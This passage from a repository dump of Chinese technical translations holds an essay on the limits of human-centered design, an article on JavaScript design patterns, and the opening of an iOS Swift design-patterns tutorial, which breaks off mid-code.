[Unsplash](https://unsplash.com/@hermez777?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n\n“设计能改变世界”\n\n当我在设计学院时，这句话令我充满了无尽的能量和骄傲，它存在我的内心深处。怎么会不在呢？在过去几十年中，设计及设计思维，已经[逐渐](https://hbr.org/2015/09/design-thinking-comes-of-age)被视为公司和产品的一个**重要的**区分因素。\n\n在这个提升的背后是设计加成的操作系统：以人为本的设计。\n\n以人为本的设计背后的基本理念是，为了寻找最佳解决方案，设计师需要加深对使用他们设计的用户设身处地的理解。\n\n设计师通过用户访谈，上下文观察（观察用户在他们“正常”生活中的工作），以及其它一些帮助设计师设身处地理解用户的工具来实现这一目标。一旦你能够描绘出一幅用户切身需求的图景，下一步骤就是确定一些关键洞见并使用其创建一个解决方案。\n\n[Swiffer](https://www.fastcompany.com/3006797/innovation-method-behind-swiffer-madness) 拖把的开发是一个著名的例子。负责改进清扫房屋流程的设计师观察了客户打扫他们的房屋。一个关键洞见是时间的重要性。清扫通常会减少其它活动时间，所以任何对时间的节省都是喜闻乐见的。拖地被认为是清扫中一个非常耗时的环节，有多个步骤和繁复的工具，更别提还要等地板干透。所以设计师创造了一个“干拖把”（也就是 Swiffer），用来简化流程和节约时间。这是一个巨大的商业成功。\n\n非常直截了当。\n\n这个过程是有效的。推动我们日常生活的无数产品和服务要么从这个过程中产生，要么被大幅的改进。智能手机和很多其上的应用程序，Instagram 和 Twitter 等社交服务，共享经济的宠儿如 Uber、Lyft 和 Airbnb，更不用说一连串的实体产品了。\n\n当今世界的运转方式及我们工作的方式与十年前的情况截然不同。很大程度上是因为以人为本的设计过程。\n\n因此，我们设计师可以挺胸抬头，认为我们有能力改变世界。\n\n但是，如果你退后思考一下，你会开始发现一个问题：我们几十年来一直在非常努力的设计这个世界，可我们并没有减少任何一个真正的问题。\n\n我说的“真正的问题”是什么意思呢？\n\n我指**真正**的问题。那些大问题，那类可以动摇人类的根本并威胁到我们长期生存能力的大问题。\n\n饥饿。气候变化。贫穷。收入差距。文盲。偏执。歧视。环境恶化。列表还在继续增加。\n\n现在，地球上最富裕的国家有正在挨饿的人，有无法获得或负担医疗保健的人，有无家可归的人。这是**最富裕**的国家。\n\n现在，我们的海洋因为塑料在濒死。我们的大气层因为二氧化碳在濒死，我们也已经失去了一半的地球生物多样性。\n\n猜猜如何：设计并没有解决其中任何一个问题。\n\n连一丁点也没有。\n\n而且，不幸的是，设计**并不会**修复其中的任何问题。因为我们的操作系统并不允许。\n\n## 以人为本的设计的问题\n\n那些威胁到我们生存或社会稳定的大问题是系统性的。它们粗糙的贯穿整个系统。引起它们的原因是广泛而多样的，所涉及的人代表了几乎社会的每个部分。\n\n这些问题是多方面的。并没有什么万能方法来解决它们。能突然来帮助我们解决问题，让我们看到曙光的惊奇洞见并不存在。\n\n相反，解决这些系统问题就像试着控制野火一样。当你正努力和它一侧斗争时，另一侧又烧了 50 平方英里。你不能希望只减少问题的一部分却忽略其它部分来取得进展。\n\n最终，就像野火一样，你只能试着尽量减少伤害，直到天气转变暴雨来临提供了真正的系统解决方案，来解决了问题的方方面面。\n\n以人为本的设计并不是为了解决系统性问题而缔造的。事实上，以人为本的设计是为了解决完全相反的问题而缔造的。\n\n以人为本的设计是聚焦。它是观察全局，然后将一组可管理的洞见和变量归零，并解决它们。根据定义，这意味着该过程会促进设计师主动忽略问题的许多方面。当你试图解决一些系统性的问题时，这种短程聚焦不起作用。\n\n最近，一份针对一系列强调以用户为中心设计的共享出行程序的[研究](http://www.schallerconsult.com/rideservices/automobility.htm)表明，共享出行每减少 1英里的个人驾驶里程，总城市交通却**增加**了 2.6 英里。共享出行程序实际上使城市交通变的**更糟**。\n\n共享出行公司如 Lyft 曾预想他们可以通过解决交通拥堵来缓解人们的交通问题，他们采用了以人为本的设计方法来实现这一想法。他们怎么会出错呢？\n\n很明显，人们的交通并不是一个焦点问题，而是一个重要的系统问题。通过以人为本的设计过程，共享出行程序聚焦于：在很多城市，打到出租的效率并不高。因为他们过于关注这些，正如他们设计的过程那样，却排除了问题的其它方面。\n\n他们得出结论：“如果我们能让出行更有效率，那么会有更少的人开自己的车，从而减少交通流量。”\n\n这是一种以人为本的设计产生的，简单的指导性的描述。\n\n猜猜如何？Uber 和 Lyft 成功的让搭便车变得更容易。以人为本的设计适用于此类面向消费者的问题上。然而，他们忽略了交通生态系统的其它方面。\n\n例如，正如研究发现的那样，很多人使用非机动交通工具比如自行车，公共汽车或者火车，主要是因为他们并没有私家车（以及出行并不方便）。一旦使用共享出行程序能够很容易的获得一辆私家车，那些之前使用公共交通的人便开始选择基于私家车的旅行。以人为本的设计的短程聚焦方式无法在设计过程中包含这类非机动车使用人群。这只是解决方案遗漏**某一个**方面的一个例子，而解决方案还有其它无法涵盖的方面。\n\n以用户为中心的方法非常适合[为 Airbnb 客户提供更好的体验](https://www.forbes.com/sites/emilyjoffrion/2018/07/09/the-designer-who-changed-airbnbs-entire-strategy/#7367d1c62c36)，或者改进人们的拖把。但它并不能解决诸如人们交通等系统性问题。当面对一个庞大的，细节丰富的，多个方面的问题，我们这种聚焦迭代的操作系统就非常不合适了。以人为本的设计几乎无法处理损害控制。\n\n因此我们按我们的路线向前迈了一步。只在一侧处理却使得另一侧失控。\n\n## 我们需要什么来代替？\n\n我没有说我们需要废除以人为本的设计。这种设计方式对适合它的问题很有用。我们现在有了**远**比之前好的拖把（除了其它因素），这很棒。但是，我们需要理解我们工具的局限性，并开始思考新的工具，那些可以帮我们了解真正重大的问题的广度和复杂度的工具，然后开始系统地解决这些大问题。\n\n设计领域的一些人正致力于推进以人为本的设计。[IDEO](https://medium.com/@ideo) 作为以人为本的设计的先驱之一，正在推行一个新概念：[循环设计](https://www.circulardesignguide.com/)。循环设计背后的理念是通过“循环经济”的视角来思考设计对象。不再是**创造和销毁**的心态，而是**创造和再使用**的心态。它是[摇篮到摇篮](https://www.amazon.com/Cradle-Remaking-Way-Make-Things/dp/0865475873)概念的再塑造，专注于可持续发展。\n\n这是非常重要的一步发展，但还无法达到我们需要的系统设计思维。正如以人为本的设计的短视层面，循环设计也是用专注的设计洞见创造解决方案。区别只在于，循环设计要求设计师考虑解决方案的整个生命周期和长期影响。确实，这是设计文化中无可争议的一个重要转变，但它真的能**解决**不明确的重大问题么？\n\n如果我为我的重复使用的水瓶设计整个生命周期，我可能会有一个更加可持续的水瓶，但我没有为塑料问题创造一个系统性的解决方案。我没有改变促使塑料文化的经济动机。我没有解决分配和价格问题，所以一次性瓶装水更普及。我没有解决公共健康问题，所以一次性瓶装水在很多地方非常安全。同样我也没有解决一次性塑料的所有其它应用。\n\n我又绕回了损害控制。而火势越来越大了。\n\n## 我们如何打破已有的模式？\n\n如果类比于野火的扩张，也许我们可以创造一种设计框架，使我们能够在一个问题的各个方面以更小的方式进行更快的创新，而非只试着专注于选出的少数几个方面。如同暴风雨，许多密集的雨点 —— 以一种统一协调的方式落下 —— 可以浇灭一场巨大的火灾。\n\n或许这也是为了摆脱现有的竞争文化并创造新的合作文化。如果开始忽略将我们隔离的企业或政治孤岛，我们可以相互协作地结合很多专注性解决方案，从而变成一个真正的涵盖整个问题的单一解决方案。现在已经存在很多解决方案，我们只是没有将它们聚在一起的行为。\n\n或许这可能颠覆驱动设计的经济动机。创造以人为本的设计是为了服务现有的经济体系。创造一个更好的拖把是有利益的。但解决无家可归的问题并没有利益。为了经济繁荣我们需要一直设计更好的拖把，所以我们建立了一个框架来做这件事情。\n\n如果我们有正确的激励措施，我们能多快为系统设计思维建立一个框架？\n\n设计**可以**改变世界。但我们现在正使用的方式并不管用。如果我们要设计出一个解决重大问题的办法，就需要对我们的方法进行批判性的审视。我们要升级我们的创新操作系统。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/design-patterns-in-modern-javascript-development.md",
    "content": "> * 原文地址：[Design patterns in modern JavaScript development](https://levelup.gitconnected.com/design-patterns-in-modern-javascript-development-ec84d8be06ca)\n> * 原文作者：[Kristian Poslek](https://medium.com/@bojzi)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/design-patterns-in-modern-javascript-development.md](https://github.com/xitu/gold-miner/blob/master/TODO1/design-patterns-in-modern-javascript-development.md)\n> * 译者：[Hyde Song](https://github.com/HydeSong)\n> * 校对者：[xujiujiu](https://github.com/xujiujiu), [ezioyuan](https://github.com/ezioyuan)\n\n# 现代 JavaScript 开发中的设计模式\n\n> 关于软件项目设计中有效沟通的思考\n\n![](https://cdn-images-1.medium.com/max/7296/1*nfNi7oUIZBakAdyXXcmirw.jpeg)\n\n## 模式？设计？我们是在讨论软件开发么？\n\n**当然是啦。**\n\n就像面向对象编程一样，我们开发人员正试图为我们周围的世界建模。因此，尝试并使用我们周围的世界作为工具来描述我们的作品同样有意义。\n\n在本例中，我们效仿建筑架构（有建筑和桥梁的）来举例。正如具有开创性的建筑架构书籍 **《建筑模型语言》**（**Christopher Alexander，Sara Ishikawa，Murray Silverstein 著**）中对“模式”所描述的那样：\n\n> 每个模式都描述了我们环境中反复出现的问题，然后描述了该问题解决方案的核心，以这样的方式，你可以多次使用此解决方案，而不必以相同的方式重复使用两次。\n\n在软件开发中，架构是以健康、健壮和可维护的方式构建应用程序的过程，模式提供了一种给常见问题解决方案命名的方法。这些解决方案可以是抽象的/概念性的，也可以是非常精确的和技术性的，并且允许开发人员有效地相互沟通。\n\n![高效](https://cdn-images-1.medium.com/max/8000/1*pdCoxUhmMHI5tBnGVdnNJQ.jpeg)\n\n如果团队中有两个或更多的开发人员了解模式，那么讨论问题的解决方案就会变得非常高效。如果只有一个开发人员知道模式，那么向团队的其他成员解释它们通常也很容易。\n\n**本文的目标是通过向你介绍软件设计模式的概念，并介绍一些有趣的模式，以激发你对某种形式的软件开发知识的兴趣，因为它们在现代 JavaScript 项目中得到了广泛的应用。**\n\n## 单例模式\n\n### 概念\n\n单例模式并不是最广泛使用的模式之一，但是我们从它开始是因为它相对容易掌握。\n\n单例模式源于单例的数学概念，即：\n\n> 在数学中，**单例**，也称为**单元集合**，是一个只有一个元素的集合。例如，集合 {null} 是一个单例。\n\n在软件中，它只是意味着我们将类的实例化限制为一个对象。第一次实现单例模式的类的对象应该被实例化，实际上它也将被实例化。任何后续尝试都会返回第一个实例。\n\n![蝙蝠侠来了，谁还需要两个超级英雄？](https://cdn-images-1.medium.com/max/5652/1*JsnR25Uewd4wZLzZ-a9frg.png)\n\n### 为什么\n\n除了我们只能有一个超级英雄（显然是蝙蝠侠）的原因外，我们为什么要使用单例模式呢？\n\n尽管单例模式并非没有问题（它以前被认为是有害的，因为单例模式 [被称为病态说谎者](http://misko.hevery.com/2008/08/17/singletons-are-pathological-liars/)），但它仍然有它的用途。最值得注意的是实例化配置对象。你可能只想要应用程序的一个配置实例，除非应用程序的一个特性提供了多个配置。\n\n### 用在哪里\n\nAngular 的服务是大型流行框架中使用单例模式的一个主要例子。在 Angular 的文档中有一个 [专用页面](https://angular.io/guide/singleton-services) 解释了如何确保服务总是作为单例提供。\n\n服务是单例的非常有意义，因为服务被用作存储状态、配置和允许组件之间通信的地方，你希望确保不会有多个实例混淆这些概念。\n\n例如，假设你有一个简单的应用程序，它用于计算按钮被单击的次数。\n\n![](https://cdn-images-1.medium.com/max/4566/1*PZpt4afyPY10CnuRADJx5w.png)\n\n你应跟踪在一个对象内按下的按钮次数，该对象提供：\n\n* 计数功能\n* 并提供当前的单击次数。\n\n如果该对象不是单例对象（按钮将各自获得自己的实例），那么单击计数就不正确。此外，你将向显示当前计数的组件提供哪些计数实例？\n\n## 观察者模式\n\n### 概念\n\n观察者模式定义如下：\n\n> **观察者模式**是一种软件设计模式，其中一个对象（称为**主题**）维护它的依赖项列表（称为**观察者**），并自动通知它们任何状态更改，通常通过调用它们的方法之一。\n\n如果我们试着将观察者模式与现实世界中的一个例子 —— 报纸订阅 —— 进行比较，就会非常容易理解观察者模式。\n\n当你买报纸的时候，通常的情况是你走到报摊，问你最喜欢的报纸的新一期是否已经出版了。如果不是这样，你就得走回家，然后再试一次，这是一件效率低下的可悲事情。在 JavaScript 术语中，这与循环相同，直到得到所需的结果。当你最终拿到报纸的时候，你可以做你想做的事情 —— 坐下来喝杯咖啡，享受你的报纸（或者，对 JavaScript 术语来说，执行你一直想做的回调函数）。\n\n![最后](https://cdn-images-1.medium.com/max/12000/1*arrsn5kxG1GRbVpn7tlZkw.jpeg)\n\n明智的做法是（每天获得你喜爱的报纸）订阅这份报纸。这样，出版公司就会让你知道新一期的报纸什么时候出版，然后把它寄给你。不再跑去报摊。不再失望。真开心。在 JavaScript 术语中，只有在运行函数之后，才会循环并请求结果。相反，你应该让主题知道你对事件（消息）感兴趣，并提供一个回调函数，应该在新数据准备好时调用该函数。那么，你就是观察者。\n\n![再也不要错过你的晨报了。](https://cdn-images-1.medium.com/max/4002/1*Umz-GYQk5skILT07e0Kr4A.png)\n\n这样的好处是 —— 你不必是唯一的订阅者。你会因为错过报纸而失望，其他人也会。这就是为什么多个观察者可以订阅主题。\n\n### 为什么\n\n观察者模式有很多用例，但是通常，当你想要在对象之间创建一对多的依赖关系时，应该使用它，这种依赖关系不是紧密耦合的，并且有可能让数量不限的对象知道状态何时发生了变化。\n\nJavaScript 环境是实现观察者模式的好地方，因为一切都是由事件驱动的，而不是总是询问是否发生了事件，你应该让事件通知你（就像老话说的那样“**不要给我们打电话，我们会给你打电话**”）。很可能你已经完成了类似于观察者模式的操作 —— `addEventListener`。向具有观察者模式的所有标记元素添加事件监听器：\n\n* 你可以订阅这个对象，\n* 你可以取消订阅对象，\n* 并且该对象可以向其所有订阅者广播事件。\n\n学习观察者模式的最大好处是，你可以实现自己的主题，或者更快地掌握现有的解决方案。\n\n### 用在哪里\n\n实现一个基本的可观察对象应该不会太难，但是有一个很棒的库被许多项目使用，[ReactiveX](http://reactivex.io/)（它是 [RxJS](https://github.com/ReactiveX/rxjs) 对应的 JavaScript 库）。\n\nRxJS 不仅允许你订阅主题，而且还允许你以可以想象的任何方式转换数据，组合多个订阅，使异步工作更易于管理，而且要多得多。如果你曾经想将数据处理和转换级别提升到更高的级别，那么 RxJS 将是一个非常值得学习的库。\n\n除了观察者模式之外，ReactiveX 还以实现了迭代器模式而自豪，该模式使主题能够让其订阅者知道订阅何时结束，从而有效地从主题的角度结束订阅。在本文中，我不打算解释迭代器模式，但是对于你来说，了解它并知道它如何适应可观察的模式将是一个很好的练习。\n\n## 外观模式\n\n### 概念\n\n外观模式的名称来源于建筑学。在建筑学中：\n\n> **外观**通常是指建筑物的一面，通常是正面。这是一个来自法语的外来词，意思是\"正面\"或\"脸\"。\n\n正如和建筑的正面作为建筑物的外观隐藏其内部运作一样，外观模式在软件开发中也试图隐藏背后的潜在复杂性，从而允许你有效地使用更容易掌握的 API，同时提供更改底层代码的可能性。\n\n### 为什么\n\n你可以在许多情况下使用外观模式，但最值得注意的是使代码更容易理解（隐藏复杂性），并使依赖关系尽可能松散耦合。\n\n![Fus Ro Dah!](https://cdn-images-1.medium.com/max/3708/1*Unh3rSLKfaMzs3gweZF7UQ.png)\n\n很容易看出为什么外观模式的对象（或包含多个对象的层）是一件很棒的事情。如果可以避免的话，你肯定不想和龙打交道。观察者模式对象将为你提供一个很好的 API，并处理所有龙的诡计本身。\n\n我们在这里可以做的另一件很棒的事情是在不接触应用程序其余部分的情况下将龙从后台中去掉。假设你想把那条龙和一只小猫换掉。它仍然有爪子，但更容易喂养。更改它是在不更改任何依赖对象的情况下在外观中重写代码的问题。\n\n### 用在哪里\n\n你经常可以看到外观模式的地方是 Angular，它使用其服务作为简化背后潜在逻辑的一种方法。但是并不只 Angular 里有，在下一个例子中你会看到。\n\n假设你想要将状态管理添加到应用程序中。你可以选择 Redux、NgRx、Akita、MobX、Apollo 或者任何一个新成员，在这个代码块里到处出现。那么，为什么不把它们都挑出来，带着它们去兜一圈呢？\n\n状态管理库将为你提供哪些基本功能？\n\n可能是：\n\n* 一种让状态管理器知道你想要更改状态的方法\n* 以及获取当前（片）状态的方法。\n\n听起来还不错。\n\n现在，以你掌握的外观模式的能力，你可以为状态的每个部分编写外观，这将为你提供一个很好的 API —— 比如 `facade.startSpinner()`，`facade.stopSpinner()` 和 `facade.getSpinnerState()`。这些方法真的很容易理解。\n\n在此之后，你可以处理外观并编写代码，那段代码将转换你的代码，以便与 Apollo 一起工作（使用 GraphQL 管理状态——现在非常流行）。你可能会注意到它根本不适合你的编码风格，或者必须编写单元测试的方式真的不是你喜欢的。没问题，编写一个新的外观来支持 MobX。\n\n![也可能是龙……](https://cdn-images-1.medium.com/max/5376/1*O3pSZ9xOfBkk7lO0CtGCPA.png)\n\n## 拓展\n\n您可能已经注意到，我所讨论的设计模式没有代码和实现。这是因为每一种设计模式都至少可以成为一本书的一章。\n\n既然我们在讨论书籍，那么深入研究一两种设计模式也无妨。\n\n首先强烈推荐的书必须是[**《设计模式：可重用面向对象软件的元素》**](http://wiki.c2.com/?DesignPatternsBook)，作者是 **Erich Gamma**、**Richard Helm**、**Ralph Johnson** 和 **John Vlisside**，也称为**四人帮**。这本书价值连城，是**实际意义上**的软件设计模式圣经。\n\n如果你想找一些更容易理解的东西，可以参考 **Bert Bates**、**Kathy Sierra**、**Eric Freeman** 和 **Elisabeth Robson** 的[《Head First 设计模式》](https://www.goodreads.com/book/show/58128.Head_First_Design_Patterns)。这是一本非常好的书，它试图通过视觉角度传达设计模式的概念。\n\n**最后但同样重要的是，没有什么比搜索谷歌，阅读和尝试不同的方法更好的了。即使你最终从未使用过一种模式或技术，你也会学到一些东西，并以意想不到的方式成长。**\n\n**插图中使用的对话气泡是由 [starline — www.freepik.com](https://www.freepik.com/free-photos-vectors/frame) 创作的。**\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/design-patterns-on-ios-using-swift-part-1-2.md",
    "content": "> * 原文地址：[Design Patterns on iOS using Swift – Part 1/2](https://www.raywenderlich.com/477-design-patterns-on-ios-using-swift-part-1-2)\n> * 原文作者：[Lorenzo Boaro](https://www.raywenderlich.com/u/lorenzoboaro)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/design-patterns-on-ios-using-swift-part-1-2.md](https://github.com/xitu/gold-miner/blob/master/TODO1/design-patterns-on-ios-using-swift-part-1-2.md)\n> * 译者：[iWeslie](https://github.com/iWeslie)\n> * 校对者：[swants](https://github.com/swants), [Chunk49](https://github.com/Chunk49)\n\n# 使用 Swift 的 iOS 设计模式（第一部分）\n\n在这个由两部分组成的教程中，你将了解构建 iOS 应用程序的常见设计模式，以及如何在自己的应用程序中应用这些模式。\n\n> **更新说明**：本教程已由译者针对 iOS 12，Xcode 10 和 Swift 4.2 进行了更新。原帖由教程团队成员 Eli Ganem发布。\n\n**iOS设计模式** — 你可能已经听过这个术语，但是你知道这意味着什么吗？尽管大多数开发人员可能都认为设计模式非常重要，关于这个主题的文章并不多，我们开发人员在编写代码时有时不会过多地关注设计模式。\n\n设计模式是软件设计中常见问题的可重用解决方案。它们的模板旨在帮助你编写易于理解和重用的代码。它们还可以帮助你创建低耦合度的代码，以便你能更改或替换代码中的组件而避免很多麻烦。\n\n如果你对设计模式不熟悉，那么我有个好消息要告诉你！首先，由于 Cocoa 的架构方式以及它鼓励你使用的最佳实践，你已经使用过了大量的 iOS 设计模式。其次，本教程将快速帮助你理解 Cocoa 中常用的所有重要（还有不那么重要）的 iOS 设计模式。\n\n在这个由两部分组成的教程中，你将创建一个音乐应用程序，用于显示你的专辑及其相关信息。\n\n在开发此应用程序的过程中，你将熟悉最常见的 Cocoa 设计模式：\n\n*   **创建型**：单例。\n*   **结构型**：MVC、装饰、适配器和外观。\n*   **行为型**：观察者和备忘录。\n\n不要误以为这是一篇关于理论的文章，你将在音乐应用中使用大多数这些设计模式。在本教程结束时，你的应用将如下所示：\n\n![How the album app will look when the design patterns tutorial is complete](https://koenig-media.raywenderlich.com/uploads/2017/07/FinalApp-180x320.png)\n\n让我们开始吧！\n\n## 入门\n\n下载 [入门项目](https://koenig-media.raywenderlich.com/uploads/2017/07/RWBlueLibrary-Part1-Starter.zip)，解压缩 ZIP 文件的内容，并在 Xcode 中打开 *RWBlueLibrary.xcodeproj*。\n\n请注意项目中的以下内容：\n\n1.  在 storyboard 里，`ViewController` 有三个 `IBOutlet` 连接了 TableView，还有撤消和删除按钮按钮。\n2.  Storyboard 有 3 个组件，为方便起见我们设置了约束。顶部组件是用来显示专辑封面的。专辑封面下方是一个 TableView，其中列出了与专辑封面相关的信息。 最后，工具栏有两个按钮，一个用于撤消操作，另一个用于删除你选择的专辑。Storyboard 如下所示：\n\n[![swiftDesignPatternStoryboard](https://koenig-media.raywenderlich.com/uploads/2017/05/design-patterns-part1-storyboard-1-411x320.png)](https://koenig-media.raywenderlich.com/uploads/2017/05/design-patterns-part1-storyboard-1-411x320.png)\n\n3. 有一个没有实现的初始 HTTP 客户端类（`HTTPClient`），供你稍后填写。\n\n> **注意**：你知道吗，只要你创建新的 Xcode 项目，就已经充满了设计模式了嘛？模型-视图-控制器，代理，协议，单例 — 这些设计模式都是现成的！\n\n## MVC – 设计模式之王\n\n[![mvcking](https://koenig-media.raywenderlich.com/uploads/2013/07/mvcking.png)](https://koenig-media.raywenderlich.com/uploads/2013/07/mvcking.png)\n\n模型 - 视图 - 控制器（MVC）是 Cocoa 的构建模块之一，它无疑是所有设计模式中最常用的。它将应用内对象按照各自常用角色进行分类，并提倡将代码基于角色进行解耦。\n\n这三个角色是：\n\n*   **模型（Model）**：Model 是你的应用中持有并定义如何操作数据的对象。例如，在你的应用程序中，模型是 `Album` 结构体，你可以在 **Album.swift** 中找到它。大多数应用程序将具有多个类型作为其模型的一部分。\n*   **视图（View）**：View 是用来展示 model 的数据并管理可与用户交互的控件的对象，基本上可以说是所有 `UIView` 派生的对象。 在你的应用程序中，视图是 `AlbumView`，你可以在 *AlbumView.swift* 中找到它。\n*   **控制器（Controller）**：控制器是协调所有工作的中介。它访问模型中的数据并将其与视图一起显示，监听事件并根据需要操作数据。你能猜出哪个类是你的控制器吗？没错，就是 `ViewController`。\n\n你的 App 要想规范地使用 MVC 设计模式，就意味着你 App 中每个对象都可以划分为这三个角色其中的某一个。\n\n通过控制器（Controller）可以最好地描述视图（View）到模型（Model）之间的通信，如下图所示：\n\n[![mvc0](https://koenig-media.raywenderlich.com/uploads/2013/07/mvc0.png)](https://koenig-media.raywenderlich.com/uploads/2013/07/mvc0.png)\n\n模型通知控制器任何数据更改，反过来，控制器更新视图中的数据。然后，视图可以向控制器通知用户执行的操作，控制器将在必要时更新模型或检索任何请求的数据。\n\n你可能想知道为什么你不能抛弃控制器，并在同一个类中实现视图和模型，因为这看起来会容易得多。\n\n这一切都将归结为代码分离和可重用性。理想情况下，视图应与模型完全分离。如果视图不依赖于模型的特定实现，那么可以使用不同的模型重用它来呈现其他一些数据。\n\n例如，如果将来你还想将电影或书籍添加到库中，你仍然可以使用相同的 `AlbumView` 来显示电影和书籍对象。此外，如果你想创建一个与专辑有关的新项目，你可以简单地重用你的 `Album` 结构体，因为它不依赖于任何视图。这就是MVC的力量！\n\n## 如何使用 MVC 设计模式\n\n首先，你需要确保项目中的每个类都是Controller、Model 或 View，不要在一个类中组合两个角色的功能。\n\n其次，为了确保你符合这种工作方法，你应该创建三个文件夹来保存你的代码，每个角色一个。\n\n点击 **File\\New\\Group（或者按 Command + Option + N）**并把改组名为 Model。重复相同的过程以创建 View 和 Controller 组。\n\n现在将 *Album.swift* 拖拽到 Model 组。将 *AlbumView.swift* 拖拽到 View 组，最后将 *ViewController.swift* 拖拽到 Controller 组。\n\n此时项目结构应如下所示：\n\n[![](https://koenig-media.raywenderlich.com/uploads/2017/05/design-patterns-part1-mvc-1-230x320.png)](https://koenig-media.raywenderlich.com/uploads/2017/05/design-patterns-part1-mvc-1.png)\n\n如果没有所有这些文件夹，你的项目看起来会好很多。显然，你可以拥有其他组和类，但应用程序的核心将包含在这三个类别中。\n\n现在你的组件已组织完毕，你需要从某个位置获取相册数据。你将创建一个 API 类，在整个代码中使用它来管理数据，这提供了讨论下一个设计模式的机会 — 单例（Singleton）。\n\n## 单例模式\n\n单例设计模式确保给定类只会存在一个实例，并且该实例有一个全局的访问点。它通常使用延迟加载来在第一次需要时创建单个实例。\n\n> **注意**：Apple 使用了很多这个方法。例如：`UserDefaults.standard`、`UIApplication.shared`、`UIScreen.main` 和 `FileManager.default` 都返回一个单例对象。\n\n你可能想知道为什么你关心的是一个类有不只一个实例。代码和内存不是都很廉价吗？\n\n在某些情况下，只有一个实例的类才有意义。例如，你的应用程序只有一个实例，设备也只有一个主屏幕，因此你只需要一个实例。再者，采用全局配置处理程序类，他更容易实现对单个共享资源（例如配置文件）的线程安全访问，而不是让许多类可能同时修改配置文件。\n\n## 你应该注意什么？\n\n> **注意事项**：这种模式有被初学者和有经验的开发着滥用（或误用）的历史，因此我们将 Joshua Greene 的 [Design Patterns by Tutorials](https://store.raywenderlich.com/products/design-patterns-by-tutorials) 一书中的一段简述摘录至此，其中解释了使用这种模式的一些需要注意的事项。\n\n单例模式很容易被滥用。\n\n如果你遇到一种想要使用单例的情况，请首先考虑是否还有其他的方法来完成你的任务。\n\n例如，如果你只是尝试将信息从一个视图控制器传递到另一个视图控制器，则不适合使用单例。但是你可以考虑通过初始化程序或属性传递该模型。\n\n如果你确定你确实需要一个单例，那么考虑拓展单例是否会更有意义。\n\n有多个实例会导致问题吗？自定义实例会有用吗？你的答案将决定你是否更好地使用真正的单例或其拓展。\n\n用单例时遇到问题的最常见的原因是测试。如果你将状态存储在像单例这样的全局对象中，则测试顺序可能很重要，并且模拟它们会很烦人。这两个原因都会使测试成为一种痛苦。\n\n最后，要注意“代码异味”，它表明你的用例根本不适合使用单例。例如，如果你经常需要许多自定义实例，那么你的用例可能会更好地作为常规对象。\n\n[![](https://koenig-media.raywenderlich.com/uploads/2017/08/Screen-Shot-2018-05-05-at-1.33.43-PM-650x429.png)](https://koenig-media.raywenderlich.com/uploads/2017/08/Screen-Shot-2018-05-05-at-1.33.43-PM.png)\n\n## 如何使用单例模式\n\n为了确保你的单例只有一个实例，你必须让其他任何人都无法创建实例。Swift 允许你通过将初始化方法标记为私有来完成此操作，然后你可以为共享实例添加静态属性，该属性在类中初始化。\n\n你将通过创建一个单例来管理所有专辑数据从而实现此模式。\n\n你会注意到项目中有一个名为 *API* 的组，这是你将所有将为你的应用程序提供服务的类的地方。右键单击该组并选择 *New File*，在该组中创建一个新文件，选择 *iOS > Swift File*。将文件名设置为 *LibraryAPI.swift*，然后单击 *Create*。\n\n现在打开 *LibraryAPI.swift* 并插入代码：\n\n```swift\nfinal class LibraryAPI {\n  // 1\n  static let shared = LibraryAPI()\n  // 2\n  private init() {\n\n  }\n}\n```\n\n以下是详细分析：\n\n1.  其中 `shared` 声明的常量使得其他对象可以访问到单例对象 `LibraryAPI`。\n2.  私有的初始化方法防止从外部创建 `LibraryAPI` 的新实例。\n\n你现在有一个单例对象作为管理专辑的入口。接下来创建一个类来持久化库里的数据。\n\n现在在 *API* 组里创建一个新文件。 选择 *iOS > Swift File*。将类名设置为 *PersistencyManager.swift*，然后单击 *Create*。\n\n打开 *PersistencyManager.swift* 并添加以下代码：\n\n```swift\nfinal class PersistencyManager {\n\n}\n```\n\n在括号里面添加以下代码：\n\n```swift\nprivate var albums = [Album]()\n```\n\n在这里，你声明一个私有属性来保存专辑数据。该数组将是可变的，因此你可以轻松添加和删除专辑。\n\n现在将以下初始化方法添加到类中：\n\n```swift\ninit() {\n  //Dummy list of albums\n  let album1 = Album(title: \"Best of Bowie\",\n                     